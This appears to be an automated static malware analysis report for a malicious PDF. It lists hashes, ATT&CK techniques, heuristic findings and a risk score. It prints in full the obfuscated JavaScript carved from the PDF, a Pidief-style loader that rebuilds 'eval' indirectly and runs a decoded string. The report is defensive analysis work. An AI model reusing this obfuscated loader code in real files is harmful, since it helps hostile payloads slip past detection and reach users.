Malicious PDF — malware analysis report

Static analysis result for SHA-256 1131c01a5c003d0e…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-08
MD5: 9190a89d88631c11d742c3dccc0e19ae SHA-1: 1ec643c189e798a9164fa81e36564cfcaf94642a SHA-256: 1131c01a5c003d0eaabba23040cf3a0cef1f9174d61478ae2e2c1fd2e52511eb
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script reconstructs a string of character codes and decodes them into executable JavaScript, which is then executed. The primary purpose appears to be downloading and executing a second-stage payload from a remote source, indicated by the loader heuristic.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFCB 436 bytes
SHA-256: f8ca73925a07e1ce3352edffbe09a569f92c9fcdaf255b6cafd9d2cb5d84eb38
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
wkx='';
dns=('qwrwqr','tit');
e('euz=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
qufa=e('String.fr'+euz.substr(0,10));
hbgw = e(euz.substr(10)['replace'](/u/g,','));
e('k=hbgw.length');
for (i = 0; i < k; i+=2) {
	gwtk = hbgw[i+1] + ('qweqwe',hbgw[i]);
	wkx += qufa(gwtk);
}
e(wkx);

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